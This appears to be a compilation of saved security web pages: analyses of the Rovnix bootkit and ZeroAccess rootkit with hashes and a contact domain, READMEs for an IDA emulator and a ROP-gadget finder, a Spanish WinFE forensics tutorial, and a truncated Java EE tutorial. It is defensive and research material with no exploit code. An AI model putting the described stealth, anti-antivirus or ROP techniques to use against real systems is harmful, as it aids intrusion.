**Updated:**| _7/28/2013 7:51:31 AM_  
**Author:**| __  
**Tags:**| __  
  

# **T** he evolution of Ronvix: Private TCP/IP stacks****

25 Jul 2013 6:38 PM

  * 0

​We recently discovered a new breed of the bootkit Ronvix that introduces a
private TCP/IP stack**.** It seems this is becoming a new trend for this type
of malware**.**

The implementation of the private stack is based on an open-source TCP/IP
project and it can be accessed from both kernel and user modes**.**

It works like this:

  1. At boot time, Rovnix hooks the following exported APIs in ndis.sys by patching the export table in memory: 

  * NdisMRegisterMiniportDriver\(\) \(for NDIS 6**.** 0\)
  * NdisMRegisterMiniport\(\) \(for NDIS 5**.** 1\)

  * When the network adapter driver calls NdisMRegisterMiniportDriver\(\)/ NdisMRegisterMiniport\(\) to register to NDIS, the hooked function registers Rovnix’s own miniport handler functions**.**
  * With Rovnix’s own miniport handler functions, the malware is able to send/receive the packets through this private TCP/IP stack \(see Figure 1\)**.**

<img src='img/Temp2_8354.png' alt='The Ronvix private TCP/IP stack' />

_Figure 1: The private TCP/IP stack_

The stack is introduced for stealth purposes:

  * It bypasses the rest of NDIS library code so it can bypass the personal firewall hooks
  * The port used by private TCP/IP stack cannot normally be accessed \(such as “nbtstat” command\)

Basically, this means Rovnix has introduced new stealth in its network
communication**.**

Traditional methods of analysis, for example running network traffic
monitoring software, may not be able to see the packets that are sent or
received via a private TCP/IP stack**.**

However, the compromised machine will contact the domain
_youtubeflashserver.com_**.** If a network administrator notices traffic sent
to this domain, then most likely there are machines infected**.**

With our latest signature update, we detect the Rovnix dropper as
TrojanDropper:Win32/Rovnix**.** I . Windows Defender Offline \(WDO\) also
detects the infected volume boot record as Trojan:DOS/Rovnix**.** F .

Sample: SHA1: a9fd55b88636f0a66748c205b0a3918aec6a1a20

_Chun Feng_  
 _MMPC_

  * 0 Comments

****

# alexhude/uEmu

**Created:**| _9/4/2017 9:39:18 AM_  
---|---  
**Updated:**| _9/4/2017 9:39:18 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

###  README.md

## Overview

**uEmu** is a tiny cute emulator plugin for IDA based on unicorn engine.

Supports following architectures out of the box: **x86** , **x64** , **ARM** ,
**ARM64**

<img src='img/doc_overview.png' width='888' height='640' />

### What is it GOOD for?

  * Emulate bare metal code \(bootloaders, embedded firmware etc\)
  * Emulate standalone functions

### What is it BAD for?

  * Emulate complex OS code \(dynamic libraries, processes etc\)
  * Emulate code with many syscalls

### What can be improved?

  * Find a way to emulate vendor specific register access \(like ` MSR S3_x, X0 ` for ARM64\)
  * Add more registers to track

## Installation

  * ` brew install unicorn ` to install Unicorn binaries
  * ` pip install unicorn ` to install Unicorn python bindings
  * Use ` File / Script file... ` or ` ALT+F7 ` in IDA to load **uEmu.py**

## Features

### Popup Menu

<img src='img/doc_popup.png' width='606' height='301' />

  * **Start** command initializes emulator by mapping all segments and setting up Unicorn
  * **Run** command emulates instructions until breakpoint is reached or error occurs
  * **Step** emulates one or N instruction \(hold ` ALT `/` OPTION ` to specify a number\)
  * **Stop** interrupts emulation
  * **Reset** resets emulation engine and unmaps all memory regions
  * **Jump To PC** simply jumps to current PC
  * It is possible to **Update CPU Context** manually or via JSON file \(see below\)
  * **Show Controls** displays window with Start/Run/Step/Stop buttons
  * **Show CPU Context** displays window with available registers
  * **Show Memory Range** allows to display specific memory region

### Start

Start emulation from cursor. It is necessary to provide initial CPU context
first \(see _Update CPU Context_\) After that all segments from IDA database
will be mapped to emulator \(initialized data will be copied as well\).

### Run

Execute code until code or memory breakpoint is reached or there is an event
which requires user action.

### Step

Perform a single step execution. Hold ` ALT `/` OPTION ` to specify number of
steps to perform.

<img src='img/doc_stepcnt.png' width='595' height='278' />

### Stop

When emulation is in progress this command can be used to interrupt execution.

### Reset

Resets emulator instance and unmaps all memory regions.

### Breakpoints

You can use IDA breakpoints to indicate locations where emulation should be
interrupted. This includes code and memory breakpoints. Usually used together
with **Run** command.

### Runtime actions

#### Unmapped memory

When emulator needs to access memory which is not yet mapped, plugin will show
a following dialog.

<img src='img/doc_actmap.png' width='487' height='293' />

  * Press **YES** to provide memory dump to be loaded to memory.

<img src='img/doc_mapbin.png' width='674' height='390' />

  * Press **NO** to map one empty page \(0x1000\) filled with zeroes
  * Press **Cancel** to stop emulation

#### Unknown instructions

When emulator runs into unknown instruction it is possible to skip it and
restore CPU context manually.

<img src='img/doc_actins.png' width='569' height='309' />

### Views

#### Controls

Just a panel to control execution.

<img src='img/doc_controls.png' width='332' height='134' />

#### CPU Context

Current CPU context.

<img src='img/doc_regview.png' width='629' height='323' />

Every time emulation stops, changed registers will be highlighted. Registers
can be displayed in 1, 2 or 3 columns via popup menu.

It is possible to update CPU context via popup menu \(see below\).

#### Memory

Use this view to observe memory regions for specified address and size.
Comment will be displayed in a title for convenience.

<img src='img/doc_showmem.png' width='636' height='310' />

Every time emulation stops, changed memory blocks will be highlighted.

<img src='img/doc_memview.png' width='636' height='223' />

### Update CPU Context

Register Values can be changed individually or all at once with JSON file via
popup menu. Current context can also be saved in JSON file for future use.

<img src='img/doc_changectx.png' width='544' height='397' />

<img src='img/doc_regupdate.png' width='366' height='278' />

### Main Plugin Menu

Apart from all the functions listed in Popup Menu, there are couple of new
commands.

<img src='img/doc_main.png' width='583' height='386' />

#### Show Mapped Memory

Display all mapped regions. Use popup menu to display memory for particular
region or dump it to a file.

<img src='img/doc_mappedmem.png' width='745' height='397' />

#### Fetch Segments

This command tries to sync IDA segments with mapped memory by creating new
mappings or merging with existing ones if possible. This helps to add new IDA
segments to emulator in runtime without restarting emulator.

#### Load Project

Load uEmu state from file.

#### Save Project

Save uEmu state to file. Please note that only registers defined in a plugin
are saved.

#### Settings

  * **Follow PC** scrolls IDA View to current PC during emulation
  * **Convert to Code automatically** is IDA data under cursor is not code
  * **Trace instructions** prints every instruction emulator is executing

<img src='img/doc_settings.png' width='364' height='312' />

  

# trailofbits/codereason

**Created:**| _6/18/2015 3:25:11 PM_  
---|---  
**Updated:**| _6/18/2015 3:25:11 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification semantic_  
  

# CodeReason

CodeReason is a semantic binary code analysis framework and toolset. The tool
RopTool discovers ROP gadgets in ARM, X86 and X86-64 binaries by providing
pre- and post-conditions for the CPU and memory context using Lua scripts.
Examples of other tools that can be created with CodeReason are available in
the tools/ directory.

## Building

CodeReason builds on Linux and OS X. Windows are builds currently broken. Help
us fix them\!

### Requirements

  * capstone for printing disassembly
  * gtest for unit tests
  * lua for the user interface
  * protobuf
  * boost

### Ubuntu

[code]

    sudo ./install_deps.sh
    cd capstone-3.0.3 && ./setup_capstone.sh && cd ..
    cd libs/pe-parse && cmake . && make && cd ../../
    cd vexTRUNK && make && cd ..
    mkdir build && cd build && cmake .. && make -j8
    
[/code]

[code]

    brew update && brew install cmake boost protobuf
    cd capstone-3.0.3 && ./setup_capstone.sh && cd ..
    cd libs/pe-parse && cmake . && make && cd ../../
    cd vexTRUNK && make && cd ..
    mkdir build && cd build && cmake .. && make -j8
    
[/code]

Several helper scripts are available: `install_deps.sh` installs Ubuntu
dependencies, `make.sh` creates a full build, `recompile.sh` recompiles
CodeReason, and `package.sh` creates a debian package. See our Travis-CI
configuration for more details about building.

## Usage

### Lua scripting

The Lua script bindings are defined in libs/VEE/VEElua.cpp. These bindings
provide a way of describing CPU register values and memory contents to the VEX
Execution Engine \(VEE\) which analyzes binary code.

The most common functions are:

  * putreg - Writes value to a register `vee.putreg(v, R1, 32, 80808080)`
  * putmem - Writes a value at an address `vee.putmem(v, 0x40000000, 32, 0x20202020)`
  * getreg - Read value from a register `vee.getreg(v, R15, 32)`
  * getmem - Read a value from memory `vee.getmem(v, 0x40000000, 32)`

For additional examples, check the scripts/ directory.

### RopTool

RopTool takes in a binary and a Lua script as input and will output results to
stdout.

Example usage:

[code]

    ./build/bin/RopTool -f ../putty.exe -c scripts/call_reg.lua
    
[/code]

### BlockExtract

BlockExtract reads in a binary and outputs a database file containing block
information. This can be useful when analyzing large binaries that take a long
time to extract code blocks. Currently only 64-bit block extraction is
supported.

Example usage:

[code]

    ./BlockExtract -f ../../tests/ELF/ls_x64 -a x64  --blocks-out ./blockdbfile
    
[/code]

### BlockReader

BlockReader consumes the block database created by BlockExtract. It may be
useful when debugging information stored inside of blocks. VEX output is
printed to stdout.

Example usage:

[code]

    ./BlockReader -a ./blockdbfile
    
[/code]

### ImgTool

ImgTool is a test program that prints information about executable code
sections found in a binary.

Example usage:

[code]

    ./ImgTool -a x64 -f ../../tests/EXE/x64_calc.exe
    
[/code]

Example output:

[code]

    In file ../../tests/EXE/x64_calc.exe
    found 1 +X sections
    ------------------
    Section of arch X86
    beginning at 0x401000 of size 0x5ae00
    
[/code]

## References

Semantic Analysis of Native Programs, introducing CodeReason

## Authors

Originally developed by Andrew Ruef under contract for DARPA Cyber Fast Track.

Contributions made by:

# Windows Forensic Environment – \#WinFE Beta – Follow The White Rabbit

**Created:**| _7/17/2017 11:24:34 AM_  
---|---  
**Updated:**| _7/17/2017 11:24:34 AM_  
**Author:**| __  
**Tags:**| __  
  

  

<img src='img/Temp2_9814.png' width='830' height='623' />

# Windows Forensic Environment – \#WinFE Beta

Publicada en Julio 9, 2017 @\_N4rr34n6\_Publicada en Análisis forense

Hola secuaces:

Tras leer una serie de comentarios, opiniones y críticas, \(algunas sin
sentido alguno\), **había decidido tomarme un tiempo de reflexión, un
descanso** , para darme, yo mismo, respuesta a una crisis existencial. Pero,
tras hablar con varias personas del asunto, he dicho:**¡Qué demonios\!** Voy a
hacer caso a esas personas, a las que admiro y respeto, que me enseñan cada
día algo nuevo.

¿Por qué? Porque**la única forma que tengo de relajarme es ‘cacharreando’ y
escribiendo**. Porque yo**no tengo nececidad, ni de vender nada, ni de
venderme a nadie** , \(para bien o para mal\).

Así, que voy a hacer caso:

> “No malgastaré energía con esa gente. No la merecen. La emplearé en hacer
> tan buenos artículos como los que escribo.”
> “No malgastaré mi energía, porque seguirán ahí, y solo me voy a encabronar
> más.”
No en vano, pienso que**incluso la más humilde de las personas, tiene algo que
enseñar al mundo** <img src='img/12678_1f642.svg' width='16' height='16'
alt='🙂' />

Dicho esto… ¿De qué quiero hablaros? De **Windows Forensics Environment,
\(WinFE\)** , en su versión Beta. Porque he tenido el privilegio de ser uno de
los pocos en ser seleccionado para ser un Beta Tester de esta nueva versión.

**¿Qué es WinFE?** Es un Sistema live Forense, basado en el entorno de pre-
instalación de Windows, que puede ser ejecutado desde un dispositivo USB o
desde una unidad óptica, que accede, de forma predeterminada, a los medios, en
modo de sólo lectura, y que permite ejecutar diferente software forense y una
variada cantidad de utilidades portables. Es decir, que se trata de **un
Sistema Operativo Forense de arranque** , \(Bootable Forensic Operating
System\).

> “WinFE es, en esencia, un entorno de pre-instalación de Windows, \(WinPE\),
> con dos ediciones de registro menores que se aplican para garantizar que los
> discos duros no se montan automáticamente durante el proceso de arranque de
> WinPE / WinFE, minimizando el riesgo de contaminación de datos o evidencia.
> WinFE es una versión ligera de Windows que se puede utilizar para muchas
> tareas – es un sistema operativo completo y autónomo y funcionará
> independientemente de cualquier otro sistema operativo ya instalado.”
**Puede ser personalizado** a las necesidades de cada uno usando, para ello,
los ficheros por lotes ‘batch‘, o servicios de terceras partes, como
WinBuilder. Y es muy, pero que muy intuitivo.

Actualmente, @WindowsFE está siendo desarrollado y mantenido por
@Brett\_Shavers, que es, entre otras cosas, un experto forense digital, ex-
oficial de policía y detective, y autor de los libros ‘Hiding Behind the
Keyboard‘ o ‘X-Ways Forensics Practitioner’s Guide‘, entre otros.

No quiero soltaros un ‘rollo macabeo’. Así que vamos al lío. Lo primero de
todo. **¿Qué necesitamos?**

Para empezar, necesitaremos de **una imagen de un Sistema Windows 7/10,
montada en nuestro equipo**. Como no todo el mundo dispondrá de una licencia
original para realizar la descarga de una ISO de Windows 7, \(¿Verdad? <img
src='img/12690_1f609.svg' width='16' height='16' alt='😉' /> \), vamos a
trabajar sobre una ISO de Windows 10, dado que Microsoft sí permite su
descarga, aún careciendo de licencia, usando, para ello, la herramienta de
Microsoft Media Creation Tool. Si trabajáis desde un Sistema Windows 10,
podréis descargar la imagen ISO sin problema alguno, directamente.

<img src='img/Temp2_9816.png' width='1024' height='452' />

Una vez descargada, la ejecutamos. **Aceptamos los términos de licencia, sin
leerlos, como hacemos habitualmente**.

Y procedemos a crear un archivo ISO de Windows 10.

**¿Qué más necesitamos, como requisito imprescindible?**

Pues se me ocurre que necesitaremos tener descargada **la versión beta de Mini
WinFE**. Podéis encontrar información relativa al proyecto MistyPE en su aquí,
e información del proyecto MistyPE, relativo a WinFE, aquí

Os recuerdo que se trata de una versión beta por lo que no está exenta de
errores. Pero me parece un entorno muy interesante.

Una vez descargada, la descomprimimos y la ejecutamos, para que nos muestre
esta bonita ventana.

<img src='img/Temp2_9836.png' width='1024' height='543' />

Vamos a diseccionar ~~algunos artículos de la LEC y LECrim,~~ cada campo un
poco, aunque**podríamos dejar todo por defecto, sin ningún problema.**

Lo primero que nos encontramos, dentro de ‘Options 1’, es con estas opciones:

_**1\] Attempt to use Existing Cache?** _La recomendación es, que en la
primera ejecución del proyecto, esté establecida esta opción en NO.  
_**2\] RAM Disk Size** _Esta configuración se ignora en WinPE 5.x, si la RAM
del sistema es mayor de 1 GB. Es decir, que con los sistemas actuales, la
podemos dejar por defecto.  
_**3\] WinPE Processor Architecture** _Si la opción 1, ‘¿Intentar usar caché
existente?’, Se establece en NO, la arquitectura de origen se obtendrá
utilizando ‘wimlib-imagex‘ y se ignorará la configuración de arquitectura de
procesador de WinPE, a menos que los archivos de origen fallen los controles
de verificación.  
_**4\] SysWOW64** _‘SysWoW64’ es necesario para ejecutar aplicaciones de 32
bits en un WinPE de 64 bits.  
**_5\] Set ‘boot.wim’ Image number_** Se utiliza el número de imagen 2 cuando
se usan medios de instalación de Windows.  
**_6\] Set ‘install.wim’ Image number_** En la mayoría de los casos, la imagen
número 1 debe seleccionarse cuando se utilicen soportes de instalación de
Windows.

Nos desplazamos a ‘Options 2’

**_7\] Build Method_** El método INJECT es más rápido y requiere menos espacio
de almacenamiento libre.  
**_8\] Keyboard Layout_** Se establece la configuración del teclado.  
**_9\] WinPE Language / Fallback Language_** Esta configuración sólo se
utiliza si el lenguaje del archivo de origen no puede ser verificado por
‘wimlib-imagex’.  
**_10\] Programs in boot.wim_** MistyPE tiene la opción de copiar la mayoría
de los archivos de programa a un directorio externo para que no se incluyan en
‘boot.wim’. Hay una serie de ventajas a este enfoque. El principal es la
capacidad de actualizar los programas individuales sin tener que reconstruir
el proyecto. Como ventaja añadida, ‘boot.wim’ será de menor tamaño y se
requerirá menos RAM para arrancar MistyPE. Se seguirán copiando dentro de
‘boot.wim’ los programas base, que son:

  1. 7-Zip
  2. dd
  3. Defraggler
  4. DMDE
  5. DriveImageXML
  6. Eraser
  7. Ghost
  8. HWiNFO
  9. JkDefrag
  10. LinuxReader
  11. MW Snap
  12. NT Password Edit
  13. Opera
  14. PartitionGuru
  15. PTEdit
  16. Recuva
  17. DriveSnapshot
  18. Sumatra PDF
  19. TinyHexer
  20. Forensic Acquisition Utilities
  21. FTK Imager Lite
  22. X-Ways Forensics

**_11\] LaunchBar_** Es un pequeño programa gratuito de Windows que imita el
comportamiento de la barra de herramientas QuickLaunch.

Nos desplazamos ahora a ‘Options 3’

_**1\] UAC Check**_ Comprueba si el Control de Cuentas de Usuario está
habilitado y alerta, con un mensaje, si se da esta circunstancia, al usuario.

_**2\]**__**Admin Check**_ Comprueba si el usuario posee privilegios de
administración y aborta el proyecto en caso contrario, pues necesita correr
bajo esos privilegios.

_**3\] Log File**_ Genera un log, basado en fecha y hora, con información del
proyecto.

Así pues, tenemos ya una primera configuración del proyecto, que puede quedar,
por ejemplo, como en la siguiente imagen.

<img src='img/Temp2_9819.png' width='510' height='312' />

<img src='img/Temp2_9817.png' width='510' height='222' />

Nos desplazamos ahora al apartado de ‘Core Files’.

<img src='img/Temp2_9835.png' width='502' height='451' />

Y de este script no vamos a tocar nada. Entre otras cosas porque está
bloqueado porque es donde se va a basar la mayor parte del trabajo del
proyecto.

Nos dirigimos a ‘LaunchBar’.

<img src='img/Temp2_9824.png' width='750' height='452' />

Aquí podremos elegir si queremos una barra de menú en nuestro WinFE, si
queremos los iconos pequeños o grandes, y su posición.

Nos vamos ahora a ‘Essential’, que son los considerados como scripts
esenciales.

<img src='img/Temp2_9850.png' width='851' height='331' />

De este apartado, podremos deshabilitar todos, a excepción de ‘FileManager’,
que es imprescindible. Veamos su contenido.

_**FileManager**_ Agrega un explorador de ficheros, reemplazando al original
de Windows. Podremos elegir entre Q-Dir y a43.

_**BCDEdit** E_s una herramienta de línea de comandos que se utiliza para
crear y editar almacenes BCD, el archivo de configuración de arranque
utilizado en todas las ediciones de Windows desde la versión de Windows Vista.
En este momento, este script solo agrega algunas instrucciones basadas en .txt
a la compilación.

_**CMD Here**_ – Inicia un símbolo del sistema desde el menú contextual del
botón derecho del ratón.

_**Keyboard Layout**_ Cambia el diseño del teclado en WinPE mientras se está
ejecutando.

_**Network**_ Esto agregará un archivo por lotes, más una entrada de menú para
ejecutarlo. El archivo por lotes ejecuta el comando ‘wpeinit
InitializeNetwork’, que inicializará los componentes y controladores de red y
establecerá el nombre del equipo en un valor elegido al azar.

_**ScreenRes** Esto agregará una opción de menú para cambiar la resolución de
la pantalla._

Vamos a dirigirnos ahora a ‘BlackBox Lean’.

<img src='img/Temp2_9813.png' width='701' height='281' />

Este proyecto utiliza el shell BlackBox Lean \(versión 1.17.1\) para
proporcionar una interfaz de usuario basada en menús.

Vamos a ver ahora el apartado de ‘Boot.Media’, que es donde se nos va a dar la
opción, bien de crear una imagen ISO del proyecto, una vez compilado, o bien
de crear una unidad USB de arranque con él.

<img src='img/Temp2_9834.png' width='551' height='332' />

Como nos interesa tener una imagen ISO del proyecto, que más tarde grabaremos
a un disco o a una unidad USB, nos desplazamos hasta la opción ‘Create ISO’,
en donde observaremos que la configuración predeterminada creará un archivo
ISO de arranque de RAM, que nos vale.

<img src='img/Temp2_9837.png' width='740' height='431' />

Vamos ahora a ver el apartado de ‘Tools’, aunque, de aquí, en principio, no
será necesario tocar nada.

<img src='img/Temp2_9843.png' width='851' height='321' />

Aquí se nos presentan varias opciones.

_**Add Program**_ Este script se puede utilizar para agregar programas /
paquetes adicionales al proyecto MistyPE. Pero en esta versión beta está muy
limitado porque no hay paquetes disponibles.

**_ADK_** Permite añadir soporte para PowerShell, .NET Framework, HTA, etc.

_**Advanced Options**_ Permite montar y desmontar claves del registro y
permite agregar archivos adicionales a ‘boot.wim’.

_**Cache Files**_ Permite crear un caché para usarlo en el proyecto.

_**Test in QEMU**_ Prueba el archivo ISO creado en QEMU.

_**Update Project**_ Permite comprobar e instalar cualquier actualización de
MistyPE

Ahora nos dirigimos al apartado ‘Programs’, que he querido dejar para el
final, por resultar, quizás, el más interesante.

<img src='img/Temp2_9846.png' width='1024' height='402' />

_**Add Custom Batch and run at Start-up**_ Permite agregar un archivo por
lotes personalizado a la compilación editar el archivo de proceso por lotes
personalizado a través de un botón incrustado en el script.

_**Add Custom Folders\Files**_ Permite seleccionar un directorio, cuyo
contenido se agregará a la compilación, como en la siguiente imagen.

<img src='img/Temp2_9849.png' width='721' height='510' />

En cuanto a la utilería que incorpora este proyecto…

7-Zip

<img src='img/Temp2_9840.png' width='531' height='511' />

CloneDisk

<img src='img/Temp2_9825.png' width='731' height='511' />

DMDE

<img src='img/Temp2_9848.png' width='752' height='510' />

Forensic Acquisition Utilities \(FAU\)

<img src='img/Temp2_9844.png' width='1024' height='382' />

FTK Imager Lite

<img src='img/Temp2_9818.png' width='719' height='520' />

HWiNFO

<img src='img/Temp2_9826.png' width='602' height='512' />

Linux Reader

<img src='img/Temp2_9845.png' width='861' height='520' />

MWSnap

<img src='img/Temp2_9844.png' width='1024' height='382' />

NT Password Editor

<img src='img/Temp2_9833.png' width='561' height='513' />

Opera

<img src='img/Temp2_9841.png' width='551' height='516' />

Sumatra PDF Reader

<img src='img/Temp2_9815.png' width='642' height='510' />

Virtual Keyboard \(Free VK\)

<img src='img/Temp2_9829.png' width='752' height='510' />

Wallpaper

<img src='img/Temp2_9838.png' width='741' height='512' />

WinHex

<img src='img/Temp2_9831.png' width='742' height='511' />

X-Ways Forensic

<img src='img/Temp2_9832.png' width='735' height='509' />

WinFE

<img src='img/Temp2_9839.png' width='731' height='510' />

Este último script, ‘WinFE’, no se puede deshabilitar porque es el encargado
de hacer las modificaciones del Registro para que este proyecto se comporte
como si estuviéramos en un entorno forense. Nos dará opción de poder elegir el
tipo de SAN Policy.

Este proyecto incluye dos herramientas que permiten modificar los atributos de
los discos, como son, Read-Only / Read-Write y OFFLINE / ONLINE.

Estas herramientas son

WProtect.exe, desarrollada por Colin Ramsden; y DiskMgr, desarrollada por
Erwan L.

Vista toda esta configuración y sus opciones, por último nos queda dirigirnos
de nuevo al primer menú que hemos visto, a ‘Mini-WinFE’, y clicaremos en la
opción de ‘Source’, porque tenemos que indicarle qué recurso va a usar para
generar el entorno de pre-instalación de Windows. Así, que tan solo debemos
indicarle la unidad donde hemos montado, anteriormente, la imagen ISO del
Sistema que hemos usado.

<img src='img/Temp2_9842.png' width='1024' height='407' />

Y con todo esto… le damos al botón del ‘Play’, para que de una manera
‘automágica’, se cree nuestro Sistema Live Forense, basado en Windows.

<img src='img/Temp2_9820.png' width='306' height='100' />

Nos saltará el aviso del Control de Cuentas de Usuario, dependiendo de nuestra
configuración, tal y como le hemos indicado.

<img src='img/Temp2_9828.png' width='505' height='148' />

Nos dirá la información relativa a la configuración básica que le hemos
indicado, para saber si es la correcta, o no.

<img src='img/Temp2_9830.png' width='360' height='312' />

Dependiendo del Sistema Windows que hayamos empleado, nos dará un aviso que
nos dice que no ha sido testado. **Normal, al tratarse de una beta**. **Las
pruebas que yo hice, me dieron un resultado satisfactorio**.

<img src='img/Temp2_9822.png' width='721' height='297' />

Si no hemos habilitado ‘SysWoW64’ en el proyecto, nos lo hará saber, con
opción a habilitarlo. **La recomendación es habilitar ‘SysWoW’**.

<img src='img/Temp2_9821.png' width='725' height='147' />

Y, como por arte de magia, se nos creará nuestra bonita imagen ISO, de nuestro
Entorno Forense, totalmente personalizado.

<img src='img/Temp2_9847.png' width='676' height='340' />

Ahora, tan solo nos queda probarlo en algún Sistema. Vamos a ello.

Lo iniciamos y…

Lo primero que nos encontramos, antes de cargar el entorno del Sistema, es la
configuración de los discos.

<img src='img/Temp2_9827.png' width='1024' height='427' />

**Por defecto, se establece una configuración de atributos del disco en
‘Offline y Read-Only’** , pero podemos cambiarla, aunque no es recomendable,
hasta no estar seguros de qué dispositivos nos hará falta ‘tocar’. Igualmente,
podemos ver la información relativa a los discos.

Una vez que hayamos determinado qué discos estarán online, \(y siempre en modo
de sólo lectura\), cerramos la ventana de la configuración de los discos, para
que termine de cargar el entorno.

Si necesitamos cambiar la configuración de los discos, por ejemplo, por haber
introducido otro, podemos hacerlo muy fácilmente desplegando un menú
contextual del ratón.

<img src='img/Temp2_9823.png' width='1024' height='768' />

Y de esta forma, podemos obtener un bonito entorno forense que se amolde a
nuestras necesidades, basado en Windows.

<img src='img/Temp2_9814.png' width='1024' height='768' />

Tenéis disponible toda la información necesaria, y muy detallada, sobre este
proyecto, en su sitio.

Esto es todo, por ahora. Nos leemos en la siguiente entrada. Se despide este
_minion_ , entregado y leal, de vosotros… por ahora.

PD: Yo siempre he pensado que **el tiempo pone a cada uno en su lugar**. Eso,
sumado a lo que una persona muy sabia me dijo…

> “Hay mucho mediocre vendiendo y criticando lo que no es. Un signo de
> elegancia es tratar de estar por encima de estas cosas.”
Marcos _@\_N4rr34n6\__

__ Análisis forense, LiveCD, Windows, WinFE

  

# KernelMode.info • View topic - Rootkit ZeroAccess \(alias MaxPlus, Sirefef\)

**Created:**| _4/2/2013 8:38:57 AM_  
---|---  
**Updated:**| _4/2/2013 8:38:57 AM_  
**Author:**| __  
**Tags:**| _rootkits Malware-analysis_  
  

# Rootkit ZeroAccess \(alias MaxPlus, Sirefef\)

by **EP\_X0FF** » Sun Mar 14, 2010 1:43 pm

ZeroAccess \(aka Sirefef\) common information.  
  
Multi-component family of malware that uses stealth to hide its presence on
your computer. Due to the nature of this threat, the payload may vary greatly
from one infection to another, although common behavior includes:

  * Downloading and executing of arbitrary files
  * Contacting remote hosts
  * Disabling of integrated Windows security features

Payload: clickfraud, bitcoin mining.  
Features: p2p engine for botnet organization.  
  
ZeroAccess timeline, thanks to rin .

  * Summer 2009  
Intiial first rootkit version found ITW. Initially known as "win32k router"
rootkit. Reparse points used for "kill av" purposes, actually kills everything
what is trying to touch rootkit data.  
  
See MMPC encyclopedia entry \(updated in 2011\)  
Trojan:Win32/Sirefef.A

  * July - August 2009  
Firstly mentioned by a\_d\_13  at sysinternals and DiabloNova \(EP\_X0FF\) at
rootkit.com, rootkit gets it name MaxPlus from name of device it used
"\Device\\\_\_max++>".

  * End of 2009  
Russian ransomware Digitala/GetAccelerator equipped with Sirefef.A found in
the wild. Original TDL3 based malware with z00clicker dll found in the wild.

  * Beginning of 2010   
Second rootkit version arrived. Reimplemented in many ways. Sirefef already
established botnet. Actual name "ZeroAccess" retrieved from pdb string found
inside driver body.  
  
Reverse-engineered by Giuseppe Bonfa aka Evilcry  
Step-by-Step Reverse Engineering Malware: ZeroAccess / Max++ / Smiscer
Crimeware Rootkit

  * May 2011  
Sirefef got x64 backdoor and big update for B version with new way of storing
payload at disk and kill av module as separate driver, meaning it is in beta
stage.  
z00clicker now used by Sirefef and updated to V2  
  
See Kaspersky blogpost about x64 backdoor  
MAX++ sets its sights on x64 platforms  
  
Sirefef "Kill AV" feature initially posted here  
  
Prevx blogpost describing the same stuff  
ZeroAccess Rootkit Guards Itself with a Tripwire  
  
Prevx blogpost describing new way of storing payload  
ZeroAccess Gets Another Update

  * Later 2011 Summer   
Sirefef have incorporated killav plugin in main driver. In the wild found
ZeroAccess plugin targetting TDL4 and TDL3 clones. Later the same year they
removed from driver killav feature.  
  
Prevx found TDL4 killing plugin, mislabeled it as TDL3  
TDL3 and ZeroAccess: More of the Same?  
  
AVG blogpost about ZeroAccess dropper  
ZeroAccess’s trick - A wolf in sheep’s clothing

  * End of 2011  
ZeroAccess start using Adobe FlashPlayer dll spoofing during installation.  
Blogpost from McAfee  
ZeroAccess Rootkit Launched by Signed Installers  
  
Kindsight article about ZeroAccess, describing P2P protocol V1 \(pdf\)  
Botnet: ZeroAccess/Sirefef

  * March 2012  
Symantec writeup about ZeroAccess \(pdf\)  
Trojan.ZeroAccess Infection Analysis  
  
Sophos writeup about ZeroAccess \(pdf\)  
ZeroAccess

  * May - Summer 2012   
Sirefef did major shift in distribution strategy removed rootkit as primary
component and pushing few new variants described here on this forum in topic
ZeroAccess \(alias MaxPlus, Sirefef\) , p2p protocol updated is now V2,
z00clicker now V3.  
  
Sophos writeup about new user mode backdoor  
Major shift in strategy for ZeroAccess rootkit malware, as it shifts to user-
mode

  * September 2012  
Sophos writeup about ZeroAccess \(pdf\), partially describing P2P protocol V2
<\- one of the best available articles about ZeroAccess  
The ZeroAccess Botnet: Mining and Fraud for Massive Financial Gain

  * February 2013  
Win32/Sirefef detection and removal is now included in MSRT.  
MSRT February 2013 – Sirefef  
  
See this post for more details and removal guide.

All mentioned PDF files attached to the post, no pass.  
  
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*  
  
Original post below.

> Infects \(replaces\) system drivers.  
> Injects dll into address space of some trusted processes. Actively
> counteracts detection \(stealing driver objects of disk.sys  
> and pci.sys\) and removal. Driver install ImageLoad notification and
> performing IRP hooking for disk storage driver \(disk.sys\).  
> Payload dll performing a lot of modifications in user mode \(splicing\).  
>  
> Previous generation of this rootkit was acting like file system redirector,
> killing detection software when it is trying to access  
> rootkit data.  
>  
> VirusTotal  
>
> http://www.virustotal.com/analisis/d22425d964751152471cca7e8166cc9e03c1a4a2e8846f18b665bb3d350873db-1268574110  
>  
> MD5  
> d8f6566c5f9caa795204a40b3aaaafa2  
>  
> SHA1  
> d0b7cd496387883b265d649e811641f743502c41

# bee13oy/AV\_Kernel\_Vulns

**Created:**| _7/17/2017 11:28:01 AM_  
---|---  
**Updated:**| _7/17/2017 11:28:01 AM_  
**Author:**| __  
**Tags:**| __  
  

  

###  README.md

# Attacking Antivirus Software's Kernel Driver

The slide for my talk at Zer0Con 2017.

  

# Developing and running a Java EE Hello World application - IntelliJ-Wiki

**Created:**| _12/21/2014 11:06:36 PM_  
---|---  
**Updated:**| _1/4/2015 12:03:20 PM_  
**Author:**| __  
**Tags:**| _LOLZ_  
  

#  Before you start

To be able to perform the tasks discussed in this tutorial, make sure that the
following software is installed on your computer:

  * IntelliJ IDEA Ultimate Edition, version 12. 

  * Java Development Kit \(JDK\), version 1.6 \(also referred to as 6\) or later. You can download the necessary version of Oracle JDK from the Java SE Downloads page. 

  * JBoss Application Server \(JBoss AS\), version 7.1 or later, or JBoss Enterprise Application Platform \(JBoss EAP\), version 6. You can download the necessary version of JBoss from the JBoss Downloads page. \(Instead, you can use any other Java EE 6-compatible application server.\) 

  * A web browser 

#  Preparing the IDE

Preparing IntelliJ IDEA for Java EE application development includes:

**1.** Making sure that the necessary plugins are enabled.

**2.** Defining the JDK that you are going to use in IntelliJ IDEA.

**3.** Defining a Java EE-compatible application server that you will use to
deploy and run your applications \(e.g. JBoss\) in the IDE.

##  Making sure that the necessary plugins are enabled

